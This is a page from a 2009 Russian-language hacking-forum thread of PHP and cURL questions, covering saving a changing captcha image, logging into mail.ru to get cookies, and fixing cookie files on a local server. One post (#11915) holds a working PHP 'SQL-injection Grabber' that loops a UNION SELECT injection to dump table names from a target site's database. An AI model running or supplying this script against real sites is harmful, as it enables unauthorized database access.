ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11911  
Старый 19.08.2009, 18:53
Аватар для KaZ@NoVa
KaZ@NoVa
Постоянный
Регистрация: 05.07.2008
Сообщений: 555
Провел на форуме:
3134311

Репутация: 1467


Отправить сообщение для KaZ@NoVa с помощью ICQ Отправить сообщение для KaZ@NoVa с помощью AIM Отправить сообщение для KaZ@NoVa с помощью Yahoo
По умолчанию

Цитата:
Сообщение от geforse  
Как сохранить капчу, которая постоянно меняется ?

Пример:
site.ru/img.php?g=123 (будет одно значение, если обновить, то будет другое значение капчи)

Тоесть я захожу на страницу с капчей и как мне сохранить только рисунок капчи ?
Из кэша браузера, разве что, либо попробовать врубить автономный режим и сохранить изображение каптчи.
 
Ответить с цитированием

  #11912  
Старый 19.08.2009, 19:06
Аватар для geforse
geforse
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме:
5365841

Репутация: 712


Отправить сообщение для geforse с помощью ICQ
По умолчанию

мне нужно через курл)

пример
 
Ответить с цитированием

  #11913  
Старый 19.08.2009, 19:06
Аватар для FireFenix
FireFenix
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
Провел на форуме:
3178262

Репутация: 389
По умолчанию

Цитата:
Сообщение от geforse  
Как сохранить капчу, которая постоянно меняется ?

Пример:
site.ru/img.php?g=123 (будет одно значение, если обновить, то будет другое значение капчи)

Тоесть я захожу на страницу с капчей и как мне сохранить только рисунок капчи ?
я тебе ж уже давал скрипт - пример работы с капчей!
PHP код:
    function post ($url='',$content=null,$referer=null,$follow=0  
    { 
        GLOBAL 
$cookie

        
$ch curl_init();   
        
curl_setopt($chCURLOPT_URL,$url); 
        
curl_setopt($chCURLOPT_HEADER1); 
        
curl_setopt($chCURLOPT_RETURNTRANSFER,1); 
        
curl_setopt($chCURLOPT_TIMEOUT15); 
        
curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208'); 
        
curl_setopt($chCURLOPT_FOLLOWLOCATION$follow);  
        if (!empty(
$cookie)) curl_setopt($chCURLOPT_COOKIEimplode('; ',array_values($cookie))); 
        if (!empty(
$content)) {curl_setopt($chCURLOPT_POST1);curl_setopt($chCURLOPT_POSTFIELDS$content);} else {curl_setopt($chCURLOPT_POST0);} 
        if (!empty(
$referer)) curl_setopt($chCURLOPT_REFERER$referer); 

        
$ss=curl_exec($ch); 
        
curl_close($ch); 
         
        if (
preg_match_all('#^Set-Cookie: (([^;=]+)=([^;=]+))#mi',$ss,$cook))  
        { 
            if (
$tmpcookie=array_combine($cook[2],$cook[1])) 
                
$cookie=(array)$tmpcookie + (array)$cookie
        } 
        return 
preg_replace('~[\s\S]+\r\n\r\n~U','',$ss,1); 
    } 
PHP код:
unset($_SESSION['mir']); 
// Получаем начальные куки 
$in post('http://site.ru/login'); 
preg_match('#<img src="http://site.ru/captcha/login?(.*?)"#i'$in$match_capt);   
// Делаем локальную копию куки 
file_put_contents('local.jpg',post('http://site.ru/captcha/login?'.$match_capt[1],null,'http://site.ru/login')); 
(c) Чей-то
 
Ответить с цитированием

  #11914  
Старый 19.08.2009, 19:08
Аватар для geforse
geforse
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме:
5365841

Репутация: 712


Отправить сообщение для geforse с помощью ICQ
По умолчанию

FireFenix,спс

просто всегда статичная капча появлялась )
 
Ответить с цитированием

доработка к моему graber'y, добавил туда парсер.
  #11915  
Старый 20.08.2009, 05:44
Аватар для lucky_guy
lucky_guy
Новичок
Регистрация: 17.08.2009
Сообщений: 11
Провел на форуме:
25459

Репутация: 3
По умолчанию доработка к моему graber'y, добавил туда парсер.

PHP код:
<?php
echo"----------------------------------\n";
echo
"|SQL-injection Grabber and Parser|\n";
echo
"|     Povered by lucky_guy!      |\n";
echo
"----------------------------------\n";
$fop=fopen("temp.txt","a");
for(
$i=1;$i<100;$i++){
$url=fopen("http://bla-bla.com/index.php?id=1'+union+all+select+1,concat(char(94),table_name,char(94))+from+information_schema.tables+limit+$i,1/*","r");
while(!
feof($url)){
$buf=fgets($url128);{
fwrite($fop,$buf);
}}}
fclose($url);
fclose($fop);
$fop1=fopen("result.txt","w");
$fop=fopen("temp.txt","r");
if(
$fop){
$size=filesize("temp.txt");
$fr=fread($fop,$size);}
preg_match_all("/\^(.*)\^/isU",$fr,$fou,PREG_PATTERN_ORDER);
for(
$i=0;$i<count($fou[1]);$i++){
echo 
$fou[1][$i]."\n";
fwrite($fop1,$fou[1][$i]."\r\n");}
fclose($fop);
fclose($fop1);
system("del temp.txt");
echo
"----------------------------------\n";
echo
"|              DONE!             |\n";
echo
"----------------------------------\n";
?>

Последний раз редактировалось lucky_guy; 20.08.2009 в 05:55..
 
Ответить с цитированием

  #11916  
Старый 20.08.2009, 18:31
Аватар для Kornero
Kornero
Новичок
Регистрация: 31.12.2006
Сообщений: 25
Провел на форуме:
216389

Репутация: 10
По умолчанию

Подскажите пожалуйста, как бы мне на php реализовать такую задачку: у меня есть логин и пароль от mail.ru, мне надо сделать из них куки, которые я потом передаю другому скрипту и он мне что-нить делает=)

я пробовал так:
PHP код:
<?php
$ua 
'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2';
$ref 'http://win.mail.ru/cgi-bin/auth';

$post 'Login=ЛОГИН&Domain=mail.ru&Password=ПАРОЛЬ&level=0';

$ch curl_init($ref);

$cfile 'F:\xampp\htdocs\MailRuCookies\cookies.txt';

curl_setopt($chCURLOPT_RETURNTRANSFER1);
curl_setopt($chCURLOPT_FOLLOWLOCATION0);
curl_setopt($chCURLOPT_USERAGENT$ua);

curl_setopt($chCURLOPT_COOKIEJAR$cfile);
curl_setopt($chCURLOPT_COOKIEFILE$cfile);

curl_setopt($chCURLOPT_POST1);
curl_setopt($chCURLOPT_POSTFIELDS$post);
$res curl_exec($ch);
curl_close($ch);
$res iconv('UTF-8','windows-1251',$res);
echo 
$res;

?>
Но в файле cookies.txt у меня появились только значения t,Mpop,mrcu... Я скорее всего делаю вообще не то что надо делать,но чёто в книжках умных по этому поводу ничего не нашёл.
 
Ответить с цитированием

  #11917  
Старый 20.08.2009, 18:44
Аватар для geforse
geforse
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме:
5365841

Репутация: 712


Отправить сообщение для geforse с помощью ICQ
Question

PHP код:
       function post($url,$post,$refer)
    {
       
$ch curl_init($url);
       
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
       
curl_setopt($chCURLOPT_POST1);
       
curl_setopt($chCURLOPT_POSTFIELDS$post);
       
curl_setopt($chCURLOPT_REFERER$refer);
       
curl_setopt($chCURLOPT_COOKIEJAR"./cook");
       
curl_setopt($chCURLOPT_COOKIEFILE"./cook");
       
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
       
curl_setopt($chCURLOPT_RETURNTRANSFER1);
       
$result  curl_exec($ch);
       return 
$result;
    } 
Почему у меня не работаю куки на последнем Denwer'e, а на хостинге всё прекрасно работает ?

куки.txt тоже пробовал ставить не помогает
 
Ответить с цитированием

  #11918  
Старый 20.08.2009, 18:51
Аватар для Crepers
Crepers
Новичок
Регистрация: 20.03.2009
Сообщений: 2
Провел на форуме:
52624

Репутация: 10
По умолчанию

curl_setopt($ch, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
 
Ответить с цитированием

  #11919  
Старый 20.08.2009, 18:58
Аватар для geforse
geforse
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме:
5365841

Репутация: 712


Отправить сообщение для geforse с помощью ICQ
По умолчанию

не помогло) .txt файл не создался и сайт мне сказал чтобы я включил куки
 
Ответить с цитированием

  #11920  
Старый 20.08.2009, 19:09
Аватар для Crepers
Crepers
Новичок
Регистрация: 20.03.2009
Сообщений: 2
Провел на форуме:
52624

Репутация: 10
По умолчанию

На локалке как раз у меня лично работает в таком виде... тхт файл должен создаться не в папке со скриптом а в localhost\www\ (посмотри его там)
Сообщение сайт выдал..?! Может где-то не поменял в скрипте..? Везде должны стоять
$_SERVER['DOCUMENT_ROOT'].'/cookie.txt'
вместо
"./cook"
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ